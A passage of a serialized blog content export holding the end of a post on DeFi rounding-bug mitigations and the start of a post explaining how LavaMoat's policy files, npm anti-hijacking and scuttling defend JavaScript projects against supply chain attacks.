Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n   _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n} else {\n",[47213],{"type":21,"tag":66,"props":47214,"children":47215},{"__ignoreMap":7},[47216,47240,47287,47321],{"type":21,"tag":85,"props":47217,"children":47218},{"class":87,"line":88},[47219,47223,47228,47232,47236],{"type":21,"tag":85,"props":47220,"children":47221},{"style":2885},[47222],{"type":26,"value":15999},{"type":21,"tag":85,"props":47224,"children":47225},{"style":114},[47226],{"type":26,"value":47227}," (_totalSupply ",{"type":21,"tag":85,"props":47229,"children":47230},{"style":169},[47231],{"type":26,"value":2936},{"type":21,"tag":85,"props":47233,"children":47234},{"style":2285},[47235],{"type":26,"value":2830},{"type":21,"tag":85,"props":47237,"children":47238},{"style":114},[47239],{"type":26,"value":15222},{"type":21,"tag":85,"props":47241,"children":47242},{"class":87,"line":98},[47243,47248,47252,47257,47262,47267,47272,47277,47282],{"type":21,"tag":85,"props":47244,"children":47245},{"style":114},[47246],{"type":26,"value":47247},"    liquidity ",{"type":21,"tag":85,"props":47249,"children":47250},{"style":169},[47251],{"type":26,"value":741},{"type":21,"tag":85,"props":47253,"children":47254},{"style":114},[47255],{"type":26,"value":47256}," Math.",{"type":21,"tag":85,"props":47258,"children":47259},{"style":1021},[47260],{"type":26,"value":47261},"sqrt",{"type":21,"tag":85,"props":47263,"children":47264},{"style":114},[47265],{"type":26,"value":47266},"(amount0.",{"type":21,"tag":85,"props":47268,"children":47269},{"style":1021},[47270],{"type":26,"value":47271},"mul",{"type":21,"tag":85,"props":47273,"children":47274},{"style":114},[47275],{"type":26,"value":47276},"(amount1)).",{"type":21,"tag":85,"props":47278,"children":47279},{"style":1021},[47280],{"type":26,"value":47281},"sub",{"type":21,"tag":85,"props":47283,"children":47284},{"style":114},[47285],{"type":26,"value":47286},"(MINIMUM_LIQUIDITY);\n",{"type":21,"tag":85,"props":47288,"children":47289},{"class":87,"line":151},[47290,47295,47299,47303,47307,47311,47316],{"type":21,"tag":85,"props":47291,"children":47292},{"style":1021},[47293],{"type":26,"value":47294},"   _mint",{"type":21,"tag":85,"props":47296,"children":47297},{"style":114},[47298],{"type":26,"value":1439},{"type":21,"tag":85,"props":47300,"children":47301},{"style":108},[47302],{"type":26,"value":33086},{"type":21,"tag":85,"props":47304,"children":47305},{"style":114},[47306],{"type":26,"value":1439},{"type":21,"tag":85,"props":47308,"children":47309},{"style":2285},[47310],{"type":26,"value":4789},{"type":21,"tag":85,"props":47312,"children":47313},{"style":114},[47314],{"type":26,"value":47315},"), MINIMUM_LIQUIDITY); ",{"type":21,"tag":85,"props":47317,"children":47318},{"style":92},[47319],{"type":26,"value":47320},"// permanently lock the first MINIMUM_LIQUIDITY tokens\n",{"type":21,"tag":85,"props":47322,"children":47323},{"class":87,"line":160},[47324,47329,47333],{"type":21,"tag":85,"props":47325,"children":47326},{"style":114},[47327],{"type":26,"value":47328},"} ",{"type":21,"tag":85,"props":47330,"children":47331},{"style":2885},[47332],{"type":26,"value":4086},{"type":21,"tag":85,"props":47334,"children":47335},{"style":114},[47336],{"type":26,"value":148},{"type":21,"tag":22,"props":47338,"children":47339},{},[47340,47342,47349],{"type":26,"value":47341},"Alternatively, ",{"type":21,"tag":335,"props":47343,"children":47346},{"href":47344,"rel":47345},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[339],[47347],{"type":26,"value":47348},"storing the conversion rate separately",{"type":26,"value":47350}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":21,"tag":75,"props":47352,"children":47354},{"className":5245,"code":47353,"language":5244,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[47355],{"type":21,"tag":66,"props":47356,"children":47357},{"__ignoreMap":7},[47358,47393],{"type":21,"tag":85,"props":47359,"children":47360},{"class":87,"line":88},[47361,47366,47370,47375,47379,47384,47388],{"type":21,"tag":85,"props":47362,"children":47363},{"style":114},[47364],{"type":26,"value":47365},"accrualIndices.borrowed ",{"type":21,"tag":85,"props":47367,"children":47368},{"style":169},[47369],{"type":26,"value":741},{"type":21,"tag":85,"props":47371,"children":47372},{"style":114},[47373],{"type":26,"value":47374}," accrualIndices.borrowed ",{"type":21,"tag":85,"props":47376,"children":47377},{"style":169},[47378],{"type":26,"value":3052},{"type":21,"tag":85,"props":47380,"children":47381},{"style":114},[47382],{"type":26,"value":47383}," borrowInterestFactor ",{"type":21,"tag":85,"props":47385,"children":47386},{"style":169},[47387],{"type":26,"value":5349},{"type":21,"tag":85,"props":47389,"children":47390},{"style":114},[47391],{"type":26,"value":47392}," precision;\n",{"type":21,"tag":85,"props":47394,"children":47395},{"class":87,"line":98},[47396,47401,47405,47410,47414,47419,47423],{"type":21,"tag":85,"props":47397,"children":47398},{"style":114},[47399],{"type":26,"value":47400},"accrualIndices.deposited ",{"type":21,"tag":85,"props":47402,"children":47403},{"style":169},[47404],{"type":26,"value":741},{"type":21,"tag":85,"props":47406,"children":47407},{"style":114},[47408],{"type":26,"value":47409}," accrualIndices.deposited ",{"type":21,"tag":85,"props":47411,"children":47412},{"style":169},[47413],{"type":26,"value":3052},{"type":21,"tag":85,"props":47415,"children":47416},{"style":114},[47417],{"type":26,"value":47418}," depositInterestFactor ",{"type":21,"tag":85,"props":47420,"children":47421},{"style":169},[47422],{"type":26,"value":5349},{"type":21,"tag":85,"props":47424,"children":47425},{"style":114},[47426],{"type":26,"value":47392},{"type":21,"tag":22,"props":47428,"children":47429},{},[47430],{"type":26,"value":47431},"We also want to note some general takeaways:",{"type":21,"tag":22,"props":47433,"children":47434},{},[47435,47437,47442],{"type":26,"value":47436},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":21,"tag":39,"props":47438,"children":47439},{},[47440],{"type":26,"value":47441},"apply the state changes and check the invariant",{"type":26,"value":73},{"type":21,"tag":22,"props":47444,"children":47445},{},[47446],{"type":26,"value":47447},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":21,"tag":22,"props":47449,"children":47450},{},[47451],{"type":26,"value":47452},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":21,"tag":54,"props":47454,"children":47455},{"id":29375},[47456],{"type":26,"value":19373},{"type":21,"tag":22,"props":47458,"children":47459},{},[47460],{"type":26,"value":47461},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":21,"tag":22,"props":47463,"children":47464},{},[47465],{"type":26,"value":47466},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":21,"tag":3632,"props":47468,"children":47469},{},[47470],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":47472},[47473,47474,47475,47479,47480,47481],{"id":29458,"depth":98,"text":29461},{"id":46395,"depth":98,"text":46398},{"id":46514,"depth":98,"text":46517,"children":47476},[47477,47478],{"id":46525,"depth":151,"text":46528},{"id":46563,"depth":151,"text":46566},{"id":47121,"depth":98,"text":47124},{"id":47186,"depth":98,"text":47189},{"id":29375,"depth":98,"text":19373},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":47486,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":47487,"description":47488,"author":47489,"image":47490,"date":47492,"isFeatured":16,"onBlogPage":16,"body":47493,"_type":3642,"_id":50973,"_source":3644,"_file":50974,"_stem":50975,"_extension":3647},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[31646,31645],{"src":47491},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":18,"children":47494,"toc":50952},[47495,47499,47520,47525,47529,47534,47573,47579,47594,47612,47617,47622,47627,47640,47947,47973,47986,47991,47996,48010,48015,48028,48042,48273,48294,48329,48335,48340,48345,48559,48580,48586,48598,48688,48710,48746,48754,48772,49029,49055,49061,49075,49273,49292,49699,49712,49718,49737,49830,49835,49841,49854,49867,49953,49959,49971,50056,50068,50081,50087,50092,50106,50433,50438,50443,50449,50475,50530,50550,50603,50609,50614,50633,50644,50838,50844,50867,50873,50878,50891,50896,50901,50905,50910,50918,50948],{"type":21,"tag":54,"props":47496,"children":47497},{"id":19382},[47498],{"type":26,"value":19385},{"type":21,"tag":22,"props":47500,"children":47501},{},[47502,47509,47511,47518],{"type":21,"tag":335,"props":47503,"children":47506},{"href":47504,"rel":47505},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[339],[47507],{"type":26,"value":47508},"Supply chain",{"type":26,"value":47510}," attacks are becoming ",{"type":21,"tag":335,"props":47512,"children":47515},{"href":47513,"rel":47514},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[339],[47516],{"type":26,"value":47517},"increasingly popular in Web3",{"type":26,"value":47519},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":21,"tag":22,"props":47521,"children":47522},{},[47523],{"type":26,"value":47524},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":21,"tag":10022,"props":47526,"children":47527},{"id":29458},[47528],{"type":26,"value":29461},{"type":21,"tag":22,"props":47530,"children":47531},{},[47532],{"type":26,"value":47533},"It is important to note that there are three different versions of LavaMoat:",{"type":21,"tag":841,"props":47535,"children":47536},{},[47537,47549,47561],{"type":21,"tag":845,"props":47538,"children":47539},{},[47540,47547],{"type":21,"tag":335,"props":47541,"children":47544},{"href":47542,"rel":47543},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[339],[47545],{"type":26,"value":47546},"Lavamoat Browserify",{"type":26,"value":47548}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":21,"tag":845,"props":47550,"children":47551},{},[47552,47559],{"type":21,"tag":335,"props":47553,"children":47556},{"href":47554,"rel":47555},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[339],[47557],{"type":26,"value":47558},"NodeJS Lavamoat",{"type":26,"value":47560}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":21,"tag":845,"props":47562,"children":47563},{},[47564,47571],{"type":21,"tag":335,"props":47565,"children":47568},{"href":47566,"rel":47567},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[339],[47569],{"type":26,"value":47570},"Lavamoat allow-scripts",{"type":26,"value":47572}," are used to prevent malicious code execution on lifecycle scripts.",{"type":21,"tag":10022,"props":47574,"children":47576},{"id":47575},"lavamoats-security-features",[47577],{"type":26,"value":47578},"Lavamoat's Security Features",{"type":21,"tag":22,"props":47580,"children":47581},{},[47582,47584,47592],{"type":26,"value":47583},"The three most important features of Lavamoat",{"type":21,"tag":15893,"props":47585,"children":47586},{},[47587],{"type":21,"tag":335,"props":47588,"children":47590},{"href":30067,"ariaDescribedBy":47589,"dataFootnoteRef":7,"id":30069},[15900],[47591],{"type":26,"value":4779},{"type":26,"value":47593}," are:",{"type":21,"tag":17108,"props":47595,"children":47596},{},[47597,47602,47607],{"type":21,"tag":845,"props":47598,"children":47599},{},[47600],{"type":26,"value":47601},"Policy Files",{"type":21,"tag":845,"props":47603,"children":47604},{},[47605],{"type":26,"value":47606},"NPM Anti Hijacking",{"type":21,"tag":845,"props":47608,"children":47609},{},[47610],{"type":26,"value":47611},"Scuttling",{"type":21,"tag":22,"props":47613,"children":47614},{},[47615],{"type":26,"value":47616},"Let's go over them one by one.",{"type":21,"tag":19318,"props":47618,"children":47620},{"id":47619},"policy-files",[47621],{"type":26,"value":47601},{"type":21,"tag":22,"props":47623,"children":47624},{},[47625],{"type":26,"value":47626},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":21,"tag":22,"props":47628,"children":47629},{},[47630,47632,47639],{"type":26,"value":47631},"For example, take the ",{"type":21,"tag":335,"props":47633,"children":47636},{"href":47634,"rel":47635},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[339],[47637],{"type":26,"value":47638},"Metamask Snap policy file",{"type":26,"value":172},{"type":21,"tag":75,"props":47641,"children":47643},{"className":31808,"code":47642,"language":31810,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[47644],{"type":21,"tag":66,"props":47645,"children":47646},{"__ignoreMap":7},[47647,47659,47674,47694,47713,47733,47753,47773,47793,47813,47834,47854,47873,47889,47896,47911,47931],{"type":21,"tag":85,"props":47648,"children":47649},{"class":87,"line":88},[47650,47655],{"type":21,"tag":85,"props":47651,"children":47652},{"style":5026},[47653],{"type":26,"value":47654},"   \"@metamask/providers\"",{"type":21,"tag":85,"props":47656,"children":47657},{"style":114},[47658],{"type":26,"value":37470},{"type":21,"tag":85,"props":47660,"children":47661},{"class":87,"line":98},[47662,47666,47670],{"type":21,"tag":85,"props":47663,"children":47664},{"style":5026},[47665],{"type":26,"value":37478},{"type":21,"tag":85,"props":47667,"children":47668},{"style":120},[47669],{"type":26,"value":172},{"type":21,"tag":85,"props":47671,"children":47672},{"style":114},[47673],{"type":26,"value":148},{"type":21,"tag":85,"props":47675,"children":47676},{"class":87,"line":151},[47677,47682,47686,47690],{"type":21,"tag":85,"props":47678,"children":47679},{"style":5026},[47680],{"type":26,"value":47681},"        \"Event\"",{"type":21,"tag":85,"props":47683,"children":47684},{"style":120},[47685],{"type":26,"value":172},{"type":21,"tag":85,"props":47687,"children":47688},{"style":102},[47689],{"type":26,"value":12886},{"type":21,"tag":85,"props":47691,"children":47692},{"style":114},[47693],{"type":26,"value":182},{"type":21,"tag":85,"props":47695,"children":47696},{"class":87,"line":160},[47697,47701,47705,47709],{"type":21,"tag":85,"props":47698,"children":47699},{"style":5026},[47700],{"type":26,"value":37530},{"type":21,"tag":85,"props":47702,"children":47703},{"style":120},[47704],{"type":26,"value":172},{"type":21,"tag":85,"props":47706,"children":47707},{"style":102},[47708],{"type":26,"value":12886},{"type":21,"tag":85,"props":47710,"children":47711},{"style":114},[47712],{"type":26,"value":182},{"type":21,"tag":85,"props":47714,"children":47715},{"class":87,"line":185},[47716,47721,47725,47729],{"type":21,"tag":85,"props":47717,"children":47718},{"style":5026},[47719],{"type":26,"value":47720},"        \"chrome.runtime.connect\"",{"type":21,"tag":85,"props":47722,"children":47723},{"style":120},[47724],{"type":26,"value":172},{"type":21,"tag":85,"props":47726,"children":47727},{"style":102},[47728],{"type":26,"value":12886},{"type":21,"tag":85,"props":47730,"children":47731},{"style":114},[47732],{"type":26,"value":182},{"type":21,"tag":85,"props":47734,"children":47735},{"class":87,"line":501},[47736,47741,47745,47749],{"type":21,"tag":85,"props":47737,"children":47738},{"style":5026},[47739],{"type":26,"value":47740},"        \"console\"",{"type":21,"tag":85,"props":47742,"children":47743},{"style":120},[47744],{"type":26,"value":172},{"type":21,"tag":85,"props":47746,"children":47747},{"style":102},[47748],{"type":26,"value":12886},{"type":21,"tag":85,"props":47750,"children":47751},{"style":114},[47752],{"type":26,"value":182},{"type":21,"tag":85,"props":47754,"children":47755},{"class":87,"line":697},[47756,47761,47765,47769],{"type":21,"tag":85,"props":47757,"children":47758},{"style":5026},[47759],{"type":26,"value":47760},"        \"dispatchEvent\"",{"type":21,"tag":85,"props":47762,"children":47763},{"style":120},[47764],{"type":26,"value":172},{"type":21,"tag":85,"props":47766,"children":47767},{"style":102},[47768],{"type":26,"value":12886},{"type":21,"tag":85,"props":47770,"children":47771},{"style":114},[47772],{"type":26,"value":182},{"type":21,"tag":85,"props":47774,"children":47775},{"class":87,"line":706},[47776,47781,47785,47789],{"type":21,"tag":85,"props":47777,"children":47778},{"style":5026},[47779],{"type":26,"value":47780},"        \"document.createElement\"",{"type":21,"tag":85,"props":47782,"children":47783},{"style":120},[47784],{"type":26,"value":172},{"type":21,"tag":85,"props":47786,"children":47787},{"style":102},[47788],{"type":26,"value":12886},{"type":21,"tag":85,"props":47790,"children":47791},{"style":114},[47792],{"type":26,"value":182},{"type":21,"tag":85,"props":47794,"children":47795},{"class":87,"line":1100},[47796,47801,47805,47809],{"type":21,"tag":85,"props":47797,"children":47798},{"style":5026},[47799],{"type":26,"value":47800},"        \"document.readyState\"",{"type":21,"tag":85,"props":47802,"children":47803},{"style":120},[47804],{"type":26,"value":172},{"type":21,"tag":85,"props":47806,"children":47807},{"style":102},[47808],{"type":26,"value":12886},{"type":21,"tag":85,"props":47810,"children":47811},{"style":114},[47812],{"type":26,"value":182},{"type":21,"tag":85,"props":47814,"children":47815},{"class":87,"line":1339},[47816,47821,47825,47830],{"type":21,"tag":85,"props":47817,"children":47818},{"style":5026},[47819],{"type":26,"value":47820},"        \"ethereum\"",{"type":21,"tag":85,"props":47822,"children":47823},{"style":120},[47824],{"type":26,"value":172},{"type":21,"tag":85,"props":47826,"children":47827},{"style":5026},[47828],{"type":26,"value":47829}," \"write\"",{"type":21,"tag":85,"props":47831,"children":47832},{"style":114},[47833],{"type":26,"value":182},{"type":21,"tag":85,"props":47835,"children":47836},{"class":87,"line":1348},[47837,47842,47846,47850],{"type":21,"tag":85,"props":47838,"children":47839},{"style":5026},[47840],{"type":26,"value":47841},"        \"location.hostname\"",{"type":21,"tag":85,"props":47843,"children":47844},{"style":120},[47845],{"type":26,"value":172},{"type":21,"tag":85,"props":47847,"children":47848},{"style":102},[47849],{"type":26,"value":12886},{"type":21,"tag":85,"props":47851,"children":47852},{"style":114},[47853],{"type":26,"value":182},{"type":21,"tag":85,"props":47855,"children":47856},{"class":87,"line":1386},[47857,47861,47865,47869],{"type":21,"tag":85,"props":47858,"children":47859},{"style":5026},[47860],{"type":26,"value":37630},{"type":21,"tag":85,"props":47862,"children":47863},{"style":120},[47864],{"type":26,"value":172},{"type":21,"tag":85,"props":47866,"children":47867},{"style":102},[47868],{"type":26,"value":12886},{"type":21,"tag":85,"props":47870,"children":47871},{"style":114},[47872],{"type":26,"value":182},{"type":21,"tag":85,"props":47874,"children":47875},{"class":87,"line":1394},[47876,47881,47885],{"type":21,"tag":85,"props":47877,"children":47878},{"style":5026},[47879],{"type":26,"value":47880},"        \"web3\"",{"type":21,"tag":85,"props":47882,"children":47883},{"style":120},[47884],{"type":26,"value":172},{"type":21,"tag":85,"props":47886,"children":47887},{"style":102},[47888],{"type":26,"value":47003},{"type":21,"tag":85,"props":47890,"children":47891},{"class":87,"line":1402},[47892],{"type":21,"tag":85,"props":47893,"children":47894},{"style":114},[47895],{"type":26,"value":37647},{"type":21,"tag":85,"props":47897,"children":47898},{"class":87,"line":3145},[47899,47903,47907],{"type":21,"tag":85,"props":47900,"children":47901},{"style":5026},[47902],{"type":26,"value":37655},{"type":21,"tag":85,"props":47904,"children":47905},{"style":120},[47906],{"type":26,"value":172},{"type":21,"tag":85,"props":47908,"children":47909},{"style":114},[47910],{"type":26,"value":148},{"type":21,"tag":85,"props":47912,"children":47913},{"class":87,"line":3246},[47914,47919,47923,47927],{"type":21,"tag":85,"props":47915,"children":47916},{"style":5026},[47917],{"type":26,"value":47918},"        \"@metamask/object-multiplex\"",{"type":21,"tag":85,"props":47920,"children":47921},{"style":120},[47922],{"type":26,"value":172},{"type":21,"tag":85,"props":47924,"children":47925},{"style":102},[47926],{"type":26,"value":12886},{"type":21,"tag":85,"props":47928,"children":47929},{"style":114},[47930],{"type":26,"value":182},{"type":21,"tag":85,"props":47932,"children":47933},{"class":87,"line":3255},[47934,47939,47943],{"type":21,"tag":85,"props":47935,"children":47936},{"style":5026},[47937],{"type":26,"value":47938},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":21,"tag":85,"props":47940,"children":47941},{"style":120},[47942],{"type":26,"value":172},{"type":21,"tag":85,"props":47944,"children":47945},{"style":102},[47946],{"type":26,"value":47003},{"type":21,"tag":22,"props":47948,"children":47949},{},[47950,47951,47956,47958,47963,47965,47971],{"type":26,"value":17034},{"type":21,"tag":66,"props":47952,"children":47954},{"className":47953},[],[47955],{"type":26,"value":37720},{"type":26,"value":47957}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":21,"tag":66,"props":47959,"children":47961},{"className":47960},[],[47962],{"type":26,"value":37728},{"type":26,"value":47964}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":21,"tag":66,"props":47966,"children":47968},{"className":47967},[],[47969],{"type":26,"value":47970},"@metamask/providers",{"type":26,"value":47972}," interacts with other packages.",{"type":21,"tag":22,"props":47974,"children":47975},{},[47976,47978,47984],{"type":26,"value":47977},"To enforce these policies, LavaMoat uses ",{"type":21,"tag":66,"props":47979,"children":47981},{"className":47980},[],[47982],{"type":26,"value":47983},"lavapack",{"type":26,"value":47985},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":21,"tag":19318,"props":47987,"children":47989},{"id":47988},"npm-anti-hijacking",[47990],{"type":26,"value":47606},{"type":21,"tag":22,"props":47992,"children":47993},{},[47994],{"type":26,"value":47995},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":21,"tag":22,"props":47997,"children":47998},{},[47999,48001,48008],{"type":26,"value":48000},"Instead, Lavamoat looks at how each package is connected by ",{"type":21,"tag":335,"props":48002,"children":48005},{"href":48003,"rel":48004},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[339],[48006],{"type":26,"value":48007},"walking the modules",{"type":26,"value":48009}," in a project's dependency tree, thus generating a unique name for each package.",{"type":21,"tag":19318,"props":48011,"children":48013},{"id":48012},"scuttling",[48014],{"type":26,"value":47611},{"type":21,"tag":22,"props":48016,"children":48017},{},[48018,48020,48026],{"type":26,"value":48019},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":21,"tag":66,"props":48021,"children":48023},{"className":48022},[],[48024],{"type":26,"value":48025},"GlobalThis",{"type":26,"value":48027}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":21,"tag":22,"props":48029,"children":48030},{},[48031,48033,48040],{"type":26,"value":48032},"For example, ",{"type":21,"tag":335,"props":48034,"children":48037},{"href":48035,"rel":48036},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[339],[48038],{"type":26,"value":48039},"here",{"type":26,"value":48041}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":21,"tag":75,"props":48043,"children":48045},{"className":31808,"code":48044,"language":31810,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[48046],{"type":21,"tag":66,"props":48047,"children":48048},{"__ignoreMap":7},[48049,48078,48128,48187,48194,48266],{"type":21,"tag":85,"props":48050,"children":48051},{"class":87,"line":88},[48052,48056,48060,48065,48069,48074],{"type":21,"tag":85,"props":48053,"children":48054},{"style":2885},[48055],{"type":26,"value":12696},{"type":21,"tag":85,"props":48057,"children":48058},{"style":114},[48059],{"type":26,"value":717},{"type":21,"tag":85,"props":48061,"children":48062},{"style":120},[48063],{"type":26,"value":48064},"scuttleOpts",{"type":21,"tag":85,"props":48066,"children":48067},{"style":114},[48068],{"type":26,"value":73},{"type":21,"tag":85,"props":48070,"children":48071},{"style":120},[48072],{"type":26,"value":48073},"enabled",{"type":21,"tag":85,"props":48075,"children":48076},{"style":114},[48077],{"type":26,"value":15222},{"type":21,"tag":85,"props":48079,"children":48080},{"class":87,"line":98},[48081,48085,48089,48093,48098,48102,48107,48111,48115,48119,48124],{"type":21,"tag":85,"props":48082,"children":48083},{"style":2885},[48084],{"type":26,"value":39735},{"type":21,"tag":85,"props":48086,"children":48087},{"style":114},[48088],{"type":26,"value":717},{"type":21,"tag":85,"props":48090,"children":48091},{"style":169},[48092],{"type":26,"value":21049},{"type":21,"tag":85,"props":48094,"children":48095},{"style":120},[48096],{"type":26,"value":48097},"Array",{"type":21,"tag":85,"props":48099,"children":48100},{"style":114},[48101],{"type":26,"value":73},{"type":21,"tag":85,"props":48103,"children":48104},{"style":1021},[48105],{"type":26,"value":48106},"isArray",{"type":21,"tag":85,"props":48108,"children":48109},{"style":114},[48110],{"type":26,"value":1439},{"type":21,"tag":85,"props":48112,"children":48113},{"style":120},[48114],{"type":26,"value":48064},{"type":21,"tag":85,"props":48116,"children":48117},{"style":114},[48118],{"type":26,"value":73},{"type":21,"tag":85,"props":48120,"children":48121},{"style":120},[48122],{"type":26,"value":48123},"exceptions",{"type":21,"tag":85,"props":48125,"children":48126},{"style":114},[48127],{"type":26,"value":35641},{"type":21,"tag":85,"props":48129,"children":48130},{"class":87,"line":151},[48131,48136,48140,48144,48148,48153,48157,48161,48166,48170,48174,48178,48183],{"type":21,"tag":85,"props":48132,"children":48133},{"style":2885},[48134],{"type":26,"value":48135},"        throw",{"type":21,"tag":85,"props":48137,"children":48138},{"style":102},[48139],{"type":26,"value":32378},{"type":21,"tag":85,"props":48141,"children":48142},{"style":1021},[48143],{"type":26,"value":40732},{"type":21,"tag":85,"props":48145,"children":48146},{"style":114},[48147],{"type":26,"value":1439},{"type":21,"tag":85,"props":48149,"children":48150},{"style":5026},[48151],{"type":26,"value":48152},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":21,"tag":85,"props":48154,"children":48155},{"style":102},[48156],{"type":26,"value":34555},{"type":21,"tag":85,"props":48158,"children":48159},{"style":102},[48160],{"type":26,"value":31848},{"type":21,"tag":85,"props":48162,"children":48163},{"style":120},[48164],{"type":26,"value":48165}," scuttleOpts",{"type":21,"tag":85,"props":48167,"children":48168},{"style":169},[48169],{"type":26,"value":73},{"type":21,"tag":85,"props":48171,"children":48172},{"style":120},[48173],{"type":26,"value":48123},{"type":21,"tag":85,"props":48175,"children":48176},{"style":102},[48177],{"type":26,"value":34587},{"type":21,"tag":85,"props":48179,"children":48180},{"style":5026},[48181],{"type":26,"value":48182},"\"`",{"type":21,"tag":85,"props":48184,"children":48185},{"style":114},[48186],{"type":26,"value":2485},{"type":21,"tag":85,"props":48188,"children":48189},{"class":87,"line":160},[48190],{"type":21,"tag":85,"props":48191,"children":48192},{"style":114},[48193],{"type":26,"value":13081},{"type":21,"tag":85,"props":48195,"children":48196},{"class":87,"line":185},[48197,48202,48206,48211,48215,48220,48224,48229,48233,48238,48242,48246,48250,48254,48258,48262],{"type":21,"tag":85,"props":48198,"children":48199},{"style":120},[48200],{"type":26,"value":48201},"      scuttleOpts",{"type":21,"tag":85,"props":48203,"children":48204},{"style":114},[48205],{"type":26,"value":73},{"type":21,"tag":85,"props":48207,"children":48208},{"style":1021},[48209],{"type":26,"value":48210},"scuttlerFunc",{"type":21,"tag":85,"props":48212,"children":48213},{"style":114},[48214],{"type":26,"value":1439},{"type":21,"tag":85,"props":48216,"children":48217},{"style":120},[48218],{"type":26,"value":48219},"globalRef",{"type":21,"tag":85,"props":48221,"children":48222},{"style":114},[48223],{"type":26,"value":256},{"type":21,"tag":85,"props":48225,"children":48226},{"style":120},[48227],{"type":26,"value":48228},"realm",{"type":21,"tag":85,"props":48230,"children":48231},{"style":102},[48232],{"type":26,"value":28194},{"type":21,"tag":85,"props":48234,"children":48235},{"style":1021},[48236],{"type":26,"value":48237}," 